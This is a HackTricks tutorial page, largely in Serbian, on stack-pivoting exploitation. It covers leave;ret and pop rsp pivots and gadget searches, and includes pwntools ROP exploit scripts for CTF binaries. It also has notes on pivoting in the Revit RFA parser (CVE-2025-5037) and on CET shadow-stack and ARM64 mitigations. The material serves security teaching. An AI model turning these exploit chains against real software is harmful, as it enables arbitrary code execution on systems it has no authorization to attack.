Stack Pivoting

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Ova tehnika iskorišćava mogućnost manipulacije Base Pointer (EBP/RBP) kako bi povezana izvršavanja više funkcija kroz pažljivo korišćenje frame pointer-a i sekvence instrukcija leave; ret.

Kao podsetnik, na x86/x86-64 leave je ekvivalentno:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

A pošto se sačuvani EBP/RBP nalazi na stacku pre sačuvanog EIP/RIP, moguće ga je kontrolisati kontrolišući stack.

Napomene

  • Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista.
  • Neki kompajleri izostave frame pointer (see “EBP might not be used”). U tom slučaju, leave možda neće biti prisutan i ova tehnika neće raditi.

EBP2Ret

Ova tehnika je posebno korisna kada možete izmeniti sačuvani EBP/RBP ali nemate direktan način da promenite EIP/RIP. Ona koristi ponašanje epiloga funkcije.

Ako, tokom izvršavanja fvuln, uspete da ubacite lažni EBP na stack koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode/ROP chain-a (plus 8 bytes na amd64 / 4 bytes na x86 da se uračuna pop), možete indirektno kontrolisati RIP. Kako se funkcija vraća, leave postavlja RSP na kreiranu lokaciju i naredni pop rbp smanjuje RSP, efektivno uzrokujući da on pokaže na adresu koju je napadač tamo smestio. Zatim ret će koristiti tu adresu.

Obratite pažnju da morate znati 2 adrese: adresu na koju će ESP/RSP biti postavljen, i vrednost koja je na toj adresi i koju će ret preuzeti.

Exploit Construction

Prvo treba da znate adresu na koju možete upisati proizvoljne podatke/adrese. RSP će pokazivati ovde i prvi ret će biti potrošen.

Zatim treba izabrati adresu koju će ret iskoristiti da preusmeri izvršenje. Možete koristiti:

  • Validna ONE_GADGET adresa.
  • Adresa system() praćena odgovarajućim return-om i argumentima (na x86: ret target = &system, zatim 4 junk bytes, pa &"/bin/sh").
  • Adresa jmp esp; gadgeta (ret2esp) praćena inline shellcode-om.
  • ROP lanac postavljen u memoriju koja se može upisati.

Zapamtite da pre bilo koje od ovih adresa u kontrolisanoj oblasti mora postojati mesto za pop ebp/rbp iz leave (8B na amd64, 4B na x86). Možete iskoristiti te bajtove da postavite drugi lažni EBP i zadržite kontrolu nakon što se prvi poziv završi.

Off-By-One Exploit

Postoji varijanta koja se koristi kada možete promeniti samo najmanje značajan bajt sačuvanog EBP/RBP. U tom slučaju, memorijska lokacija koja sadrži adresu na koju će se skočiti pomoću ret mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da 1-bajtno prepisivanje može da je preusmeri. Obično se povećava niska bajt (offset 0x00) kako bi se skočilo što dalje unutar obližnje stranice/poravnate oblasti.

Takođe je uobičajeno koristiti RET sled na stacku i staviti pravi ROP lanac na kraju kako bi bilo verovatnije da novi RSP pokaže unutar sled-a i da se izvrši konačni ROP lanac.

EBP Chaining

Postavljanjem kontrolisane adrese u sačuvani EBP slot na stacku i leave; ret gadgeta u EIP/RIP, moguće je premestiti ESP/RSP na adresu kontrolisanu od strane napadača.

Sada je RSP kontrolisan, a sledeća instrukcija je ret. U kontrolisanu memoriju postavite nešto poput:

  • &(next fake EBP) -> Učitano od strane pop ebp/rbp iz leave.
  • &system() -> Pozvano od strane ret.
  • &(leave;ret) -> Nakon završetka system, pomera RSP na sledeći lažni EBP i nastavlja.
  • &("/bin/sh") -> Argument za system.

Na ovaj način je moguće povezati nekoliko lažnih EBP-a kako bi se kontrolisao tok programa.

Ovo je slično ret2lib, ali kompleksnije i korisno samo u rubnim slučajevima.

Štaviše, ovde imate an example of a challenge koji koristi ovu tehniku sa stack leak da pozove winning funkciju. Ovo je finalni payload sa stranice:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 napomena o poravnanju: System V ABI zahteva 16-bajtno poravnanje steka na call mestima. Ako tvoj chain poziva funkcije poput system, dodaj alignment gadget (npr. ret, ili sub rsp, 8 ; ret) pre poziva da održiš poravnanje i izbegneš movaps padove.

EBP možda nije korišćen

Kao explained in this post, ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem frame pointer-a, EBP/RBP nikada ne kontroliše ESP/RSP. Stoga, svaki exploit koji funkcioniše kontrolisanjem EBP/RBP neće uspeti, jer prologue/epilogue ne obnavljaju stanje sa frame pointer-a.

  • Nije optimizovano / frame pointer se koristi:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimizovano / frame pointer izostavljen:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Na amd64-u često ćete videti pop rbp ; ret umesto leave ; ret, ali ako je frame pointer potpuno izostavljen onda ne postoji rbp-bazirani epilog kroz koji bi se moglo pivot-ovati.

Other ways to control RSP

pop rsp gadget

Na ovoj stranici možete naći primer koji koristi ovu tehniku. Za taj izazov je bilo potrebno pozvati funkciju sa 2 specifična argumenta; postojao je pop rsp gadget i leak from the stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Pogledajte ret2esp tehniku ovde:

Ret2esp / Ret2reg

Brzo pronalaženje pivot gadgets

Koristite svoj omiljeni gadget finder da tražite klasične pivot primitives:

  • leave ; ret na funkcijama ili u bibliotekama
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (ili add esp, <imm> ; ret na x86)

Primeri:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klasičan pivot staging pattern

Robusna pivot strategija korišćena u mnogim CTFs/exploits:

  1. Iskoristite mali početni overflow da pozovete read/recv u veliku writable region (npr. .bss, heap, ili mapped RW memory) i postavite tamo kompletan ROP chain.
  2. Vratite izvršenje u pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) da pomerite RSP u tu regiju.
  3. Nastavite sa staged chain (npr. leak libc, pozovite mprotect, zatim read shellcode, pa skočite na njega).

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

Client-side parsers ponekad implementiraju destructor loops koji indirektno pozivaju function pointer izveden iz polja objekta pod kontrolom napadača. Ako svaka iteracija nudi tačno jedan indirektni poziv (a “one-gadget” machine), to možete konvertovati u pouzdan stack pivot i ROP entry.

Primećeno u deserializaciji Autodesk Revit RFA (CVE-2025-5037):

  • Kreirani objekti tipa AString postavljaju pokazivač na napadačeve bajtove na offset 0.
  • Destructor loop efikasno izvršava po jedan gadget po objektu:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Two practical pivots:

  • Windows 10 (32-bit heap addrs): neusklađen “monster gadget” koji sadrži 8B E0mov esp, eax, na kraju ret, da se pivotuje sa call primitive na heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
    • Gadget 1: push rax ; pop rbp ; ret (prenese originalni rax u rbp)
    • Gadget 2: leave ; ... ; ret (postaje mov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.

Tips for Windows x64 after the pivot:

  • Respect the 0x20-byte shadow space and maintain 16-byte alignment before call sites. It’s often convenient to place literals above the return address and use a gadget like lea rcx, [rsp+0x20] ; call rax followed by pop rax ; ret to pass stack addresses without corrupting control flow.
  • Non-ASLR helper modules (if present) provide stable gadget pools and imports such as LoadLibraryW/GetProcAddress to dynamically resolve targets like ucrtbase!system.
  • Creating missing gadgets via a writable thunk: if a promising sequence ends in a call through a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step like pop rax ; ret. The sequence then behaves like it ended with ret (e.g., mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.

For full chain construction and gadget examples, see the reference below.

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.

  • For background and deeper details see:

CET & Shadow Stack

  • Quick checks on Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Napomene za labove/CTF:

  • Neke moderne distribucije omogućavaju SHSTK za CET-enabled binarne fajlove kada su hardver i glibc podrška prisutni. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem kernel boot parametra nousershstk, ili selektivno omogućiti preko glibc tunables pri pokretanju (vidi reference). Ne onemogućavajte mitigacije na produkcijskim ciljevima.

  • JOP/COOP or SROP-based techniques mogu i dalje biti izvodljive na nekim ciljevima, ali SHSTK specifično razbija ret-based pivots.

  • Napomena za Windows: Windows 10+ izlaže user-mode, a Windows 11 dodaje kernel-mode “Hardware-enforced Stack Protection” zasnovan na shadow stacks. CET-compatible processes sprečavaju stack pivoting/ROP na ret; developeri se uključuju putem CETCOMPAT i povezanih politika (vidi referencu).

ARM64

U ARM64, prolog i epilogi funkcija ne čuvaju niti ne vraćaju registar SP na steku. Štaviše, instrukcija RET ne vraća na adresu na koju pokazuje SP, već na adresu unutar x30.

Stoga, po defaultu, samo zloupotrebom epiloga nećete moći da kontrolišete registar SP prepisivanjem neke podatke na steku. Čak i ako uspete da kontrolišete SP, i dalje ćete morati da pronađete način da kontrolišete registar x30.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

Način da se izvede nešto slično stack pivoting-u na ARM64 bio bi da možete da kontrolišete SP (kontrolišući neki registar čija se vrednost prosleđuje u SP ili zato što iz nekog razloga SP uzima svoju adresu sa steka i imamo overflow) i zatim zloupotrebite epilog da učitate registar x30 sa kontrolisanog SP i RET na tu adresu.

Takođe na sledećoj strani možete videti ekvivalent Ret2esp in ARM64:

Ret2esp / Ret2reg

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks